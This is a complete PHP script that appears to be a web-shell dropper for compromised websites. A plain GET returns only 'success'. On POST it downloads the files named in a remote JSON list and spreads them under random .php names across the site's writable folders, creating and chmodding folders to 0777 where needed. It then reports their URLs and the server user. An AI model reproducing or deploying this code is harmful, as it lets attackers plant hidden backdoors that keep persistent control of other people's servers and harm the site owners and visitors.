<?php
/**
* cr.php
* 从远程JSON接口获取文件列表,根据sh和up文件数量生成对应文件
* 输出JSON格式结果,包含自动获取的域名路径
* 仅当收到POST请求时才执行文件生成,否则直接返回success
*/
// 检查是否为POST请求
$is_post_request = ($_SERVER['REQUEST_METHOD'] === 'POST');
// 如果不是POST请求,直接返回success
if (!$is_post_request) {
header('Content-Type: text/plain; charset=utf-8');
echo 'success';
exit;
}
// 获取POST参数
$input_data = json_decode(file_get_contents('php://input'), true);
if (!$input_data) {
// 如果不是JSON格式,尝试获取普通POST参数
$remote_json_url = isset($_POST['remote_json_url']) ? $_POST['remote_json_url'] : '';
$common_dirs_input = isset($_POST['common_dirs']) ? $_POST['common_dirs'] : '';
$target_count = isset($_POST['target_count']) ? intval($_POST['target_count']) : 0;
$debug = isset($_POST['debug']) ? true : false;
} else {
// JSON格式参数
$remote_json_url = isset($input_data['remote_json_url']) ? $input_data['remote_json_url'] : '';
$common_dirs_input = isset($input_data['common_dirs']) ? $input_data['common_dirs'] : '';
$target_count = isset($input_data['target_count']) ? intval($input_data['target_count']) : 0;
$debug = isset($input_data['debug']) ? true : false;
}
// 验证必要参数
if (empty($remote_json_url)) {
header('Content-Type: application/json; charset=utf-8');
echo json_encode([
'status' => 'error',
'message' => '缺少必要参数: remote_json_url'
], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
// 配置 - 从POST获取
$remote_json_url = trim($remote_json_url);
// 常见的网站目录名称(可从POST传入,否则使用默认值)
$default_common_dirs = ['image', 'images', 'css', 'js', 'upload', 'uploads', 'cache', 'template', 'theme', 'assets', 'static', 'media', 'public', 'data', 'tmp'];
if (!empty($common_dirs_input)) {
if (is_array($common_dirs_input)) {
$common_dirs = $common_dirs_input;
} else {
$common_dirs = array_map('trim', explode(',', $common_dirs_input));
}
} else {
$common_dirs = $default_common_dirs;
}
// 目标文件数量(可从POST传入,否则从远程JSON获取)
$custom_target_count = $target_count;
// 自动获取当前域名(支持HTTP和HTTPS)
function getCurrentDomain() {
$protocol = 'http';
// 判断是否HTTPS
if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] === '1')) {
$protocol = 'https';
} elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
$protocol = 'https';
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
$protocol = 'https';
} elseif (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') {
$protocol = 'https';
}
// 获取主机名
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
// 如果没有HTTP_HOST,尝试从SERVER_NAME获取
if (empty($host) && isset($_SERVER['SERVER_NAME'])) {
$host = $_SERVER['SERVER_NAME'];
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {
$host .= ':' . $_SERVER['SERVER_PORT'];
}
}
return $protocol . '://' . $host;
}
// 获取网站根目录的绝对路径(DOCUMENT_ROOT)
function getDocumentRoot() {
return rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
}
// 使用 curl 获取远程JSON内容
function fetchJsonContent($url) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; PHP-Curl/1.0)'
]);
$content = curl_exec($ch);
$error = curl_error($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($error) throw new Exception("Curl 错误: $error");
if ($http_code !== 200) throw new Exception("HTTP 状态码: $http_code");
// 解析JSON
$data = json_decode($content, true);
if (json_last_error() !== JSON_ERROR_NONE) {
throw new Exception("JSON解析错误: " . json_last_error_msg());
}
return $data;
}
// 从远程获取文件内容(直接使用完整URL)
function fetchFileContentByUrl($url) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; PHP-Curl/1.0)'
]);
$content = curl_exec($ch);
$error = curl_error($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($error) throw new Exception("Curl 错误: $error");
if ($http_code !== 200) throw new Exception("HTTP 状态码: $http_code");
return $content;
}
// 获取所有子文件夹(递归,带深度限制)
function getAllSubDirs($path, $max_depth = 10, $current_depth = 0) {
$dirs = [];
if ($current_depth > $max_depth) return $dirs;
if (!is_dir($path)) return $dirs;
$items = scandir($path);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = $path . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$dirs[] = $full_path;
// 递归获取更深层的文件夹
$sub_dirs = getAllSubDirs($full_path, $max_depth, $current_depth + 1);
$dirs = array_merge($dirs, $sub_dirs);
}
}
return $dirs;
}
// 创建常见网站目录
function createCommonDirectories($base_path, $common_dirs) {
$created_dirs = [];
foreach ($common_dirs as $dir_name) {
$dir_path = $base_path . DIRECTORY_SEPARATOR . $dir_name;
if (!is_dir($dir_path)) {
if (@mkdir($dir_path, 0755, true)) {
$created_dirs[] = $dir_path;
} else {
error_log("无法创建目录: " . $dir_path);
}
} else {
// 目录已存在,也加入可用目录列表
$created_dirs[] = $dir_path;
}
}
return $created_dirs;
}
// 确保目录可写,如果不可写则尝试修改权限
function ensureWritable($dir) {
if (!is_dir($dir)) {
return false;
}
if (!is_writable($dir)) {
// 尝试修改权限
@chmod($dir, 0755);
@chmod($dir, 0777); // 尝试更宽松的权限
// 再次检查
if (!is_writable($dir)) {
return false;
}
}
return true;
}
// 随机生成文件名
function randomFileName($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$random_string = '';
for ($i = 0; $i < $length; $i++) {
$random_string .= $characters[random_int(0, strlen($characters) - 1)];
}
return $random_string . '.php';
}
// 尝试在指定目录生成文件(带权限检测)
function tryWriteFile($dir, $content, $type) {
// 检查目录是否存在
if (!is_dir($dir)) {
return ['success' => false, 'error' => '目录不存在: ' . $dir];
}
// 确保目录可写
if (!ensureWritable($dir)) {
return ['success' => false, 'error' => '无写权限且无法修改权限: ' . $dir];
}
// 生成随机文件名并写入
$filename = $dir . DIRECTORY_SEPARATOR . randomFileName();
// 确保文件不存在,如果存在则重新生成
$attempts = 0;
while (file_exists($filename) && $attempts < 5) {
$filename = $dir . DIRECTORY_SEPARATOR . randomFileName();
$attempts++;
}
$result = file_put_contents($filename, $content);
if ($result !== false) {
// 验证文件是否真的写入成功
if (file_exists($filename) && filesize($filename) > 0) {
return ['success' => true, 'path' => $filename];
} else {
return ['success' => false, 'error' => '文件写入后验证失败'];
}
} else {
return ['success' => false, 'error' => '写入失败: ' . error_get_last()['message'] ?? '未知错误'];
}
}
// 将绝对路径转换为域名路径(使用DOCUMENT_ROOT计算相对路径)
function toDomainPath($absolute_path, $document_root, $domain) {
// 统一路径分隔符为 /
$absolute_path = str_replace('\\', '/', $absolute_path);
$document_root = str_replace('\\', '/', $document_root);
// 获取相对于网站根目录的路径
$relative_path = str_replace($document_root, '', $absolute_path);
$relative_path = ltrim($relative_path, '/');
// 构建完整的URL
$full_url = rtrim($domain, '/') . '/' . $relative_path;
return $full_url;
}
// 从数组中随机选取指定数量的元素(允许重复)
function randomSelectWithReplacement($array, $count) {
if (empty($array)) return [];
$result = [];
$array_length = count($array);
for ($i = 0; $i < $count; $i++) {
$random_index = random_int(0, $array_length - 1);
$result[] = $array[$random_index];
}
return $result;
}
// 主执行流程(仅POST请求执行)
try {
// 获取网站根目录和当前域名
$document_root = getDocumentRoot();
$current_domain = getCurrentDomain();
// 记录调试信息
$debug_info = [];
if ($debug) {
$debug_info['document_root'] = $document_root;
$debug_info['document_root_exists'] = is_dir($document_root);
$debug_info['document_root_writable'] = is_writable($document_root);
}
// 1. 获取远程JSON信息
$remote_data = fetchJsonContent($remote_json_url);
// 验证远程数据格式
if (!isset($remote_data['base_url'])) {
throw new Exception("远程JSON缺少 base_url 字段");
}
// 从远程JSON获取 target_file_count(优先使用POST传入的,否则使用远程的count字段,最后默认为5)
if ($custom_target_count > 0) {
$target_file_count = $custom_target_count;
} else {
$target_file_count = isset($remote_data['count']) ? intval($remote_data['count']) : 5;
}
$remote_base_url = rtrim($remote_data['base_url'], '/');
$sh_source_files = isset($remote_data['sh_files']['files']) ? $remote_data['sh_files']['files'] : [];
$up_source_files = isset($remote_data['up_files']['files']) ? $remote_data['up_files']['files'] : [];
// 随机选取需要生成的文件列表(允许重复,凑够 target_file_count 个)
$sh_files_to_fetch = randomSelectWithReplacement($sh_source_files, $target_file_count);
$up_files_to_fetch = randomSelectWithReplacement($up_source_files, $target_file_count);
// 存储生成的文件路径(简化输出)
$generated_files = [
'sh' => [],
'up' => []
];
$result = [
'status' => 'success',
'message' => '',
'server_info' => [
'domain' => $current_domain,
'document_root' => $document_root,
'target_file_count' => $target_file_count,
'php_user' => function_exists('exec') ? exec('whoami') : 'disabled', // 检查exec是否可用
'php_version' => phpversion()
],
'remote_info' => [
'url' => $remote_json_url,
'base_url' => $remote_base_url,
'sh_source_count' => count($sh_source_files),
'up_source_count' => count($up_source_files)
],
'generated_files' => &$generated_files,
'statistics' => [
'sh' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0],
'up' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0]
],
'failed_attempts' => [
'sh' => [],
'up' => []
],
'created_directories' => [],
'debug_info' => $debug_info
];
// 2. 获取远程文件内容(去重获取,避免重复请求相同文件)
$sh_content_cache = [];
$up_content_cache = [];
foreach ($sh_files_to_fetch as $filename) {
if (!isset($sh_content_cache[$filename])) {
$file_url = $remote_base_url . '/' . ltrim($filename, '/');
try {
$sh_content_cache[$filename] = fetchFileContentByUrl($file_url);
} catch (Exception $e) {
$sh_content_cache[$filename] = false;
$result['failed_attempts']['sh'][] = [
'file' => $filename,
'url' => $file_url,
'error' => $e->getMessage()
];
$result['statistics']['sh']['failed']++;
}
}
}
foreach ($up_files_to_fetch as $filename) {
if (!isset($up_content_cache[$filename])) {
$file_url = $remote_base_url . '/' . ltrim($filename, '/');
try {
$up_content_cache[$filename] = fetchFileContentByUrl($file_url);
} catch (Exception $e) {
$up_content_cache[$filename] = false;
$result['failed_attempts']['up'][] = [
'file' => $filename,
'url' => $file_url,
'error' => $e->getMessage()
];
$result['statistics']['up']['failed']++;
}
}
}
// 3. 获取所有可用文件夹并打乱顺序
$all_dirs = getAllSubDirs($document_root);
array_unshift($all_dirs, $document_root);
$all_dirs = array_values(array_unique($all_dirs));
if ($debug) {
$debug_info['total_dirs_found'] = count($all_dirs);
$debug_info['first_5_dirs'] = array_slice($all_dirs, 0, 5);
}
// 4. 如果没有足够的可写目录,则创建常见目录
$writable_dirs = array_filter($all_dirs, function($dir) {
return is_dir($dir) && is_writable($dir);
});
if (count($writable_dirs) < 3) {
$created_dirs = createCommonDirectories($document_root, $common_dirs);
$result['created_directories'] = $created_dirs;
foreach ($created_dirs as $new_dir) {
if (!in_array($new_dir, $all_dirs) && ensureWritable($new_dir)) {
$all_dirs[] = $new_dir;
}
}
$writable_dirs = array_filter($all_dirs, function($dir) {
return is_dir($dir) && is_writable($dir);
});
}
shuffle($writable_dirs);
if ($debug) {
$debug_info['writable_dirs_count'] = count($writable_dirs);
$debug_info['writable_dirs'] = array_slice($writable_dirs, 0, 10);
}
if (empty($writable_dirs)) {
if (ensureWritable($document_root)) {
$writable_dirs = [$document_root];
} else {
throw new Exception("没有可写的目录,且无法创建目录");
}
}
// 5. 为每种类型分别生成文件
foreach (['sh', 'up'] as $type) {
$files_to_fetch = ($type === 'sh') ? $sh_files_to_fetch : $up_files_to_fetch;
$content_cache = ($type === 'sh') ? $sh_content_cache : $up_content_cache;
foreach ($files_to_fetch as $index => $remote_filename) {
if (count($result['generated_files'][$type]) >= $target_file_count) {
break;
}
$content = isset($content_cache[$remote_filename]) ? $content_cache[$remote_filename] : false;
if ($content === false) {
continue;
}
$generated = false;
$dirs_to_try = $writable_dirs;
shuffle($dirs_to_try);
foreach ($dirs_to_try as $dir) {
if ($generated) break;
$write_result = tryWriteFile($dir, $content, $type);
if ($write_result['success']) {
$domain_path = toDomainPath($write_result['path'], $document_root, $current_domain);
// 验证文件确实存在
$file_exists = file_exists($write_result['path']);
$file_size = $file_exists ? filesize($write_result['path']) : 0;
// 存储文件路径信息
$result['generated_files'][$type][] = [
'url' => $domain_path,
'path' => $write_result['path'],
'source' => $remote_filename,
'verified' => $file_exists,
'size' => $file_size
];
$result['statistics'][$type]['generated']++;
$generated = true;
break;
} else {
if ($debug) {
$result['failed_attempts'][$type][] = [
'remote_file' => $remote_filename,
'directory' => $dir,
'error' => $write_result['error']
];
}
$result['statistics'][$type]['failed']++;
}
}
if (!$generated) {
$result['failed_attempts'][$type][] = [
'remote_file' => $remote_filename,
'error' => '所有目录都无法写入'
];
$result['statistics'][$type]['failed']++;
}
}
}
// 6. 设置最终消息
$total_generated = $result['statistics']['sh']['generated'] + $result['statistics']['up']['generated'];
$total_target = $target_file_count * 2;
$result['message'] = sprintf(
"任务完成!共生成 %d/%d 个文件",
$total_generated,
$total_target
);
// 7. 输出简化版的JSON结果
$output = [
'status' => 'success',
'message' => $result['message'],
'generated_files' => $result['generated_files'],
'statistics' => [
'sh' => $result['statistics']['sh']['generated'],
'up' => $result['statistics']['up']['generated'],
'total' => $total_generated
],
'server_domain' => $current_domain,
'created_directories' => $result['created_directories']
];
// 如果开启调试模式,添加调试信息
if ($debug) {
$output['debug'] = $debug_info;
$output['failed_attempts'] = $result['failed_attempts'];
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($output, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
} catch (Exception $e) {
header('Content-Type: application/json; charset=utf-8');
echo json_encode([
'status' => 'error',
'message' => $e->getMessage(),
'generated_files' => ['sh' => [], 'up' => []],
'statistics' => ['sh' => 0, 'up' => 0, 'total' => 0]
], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
?>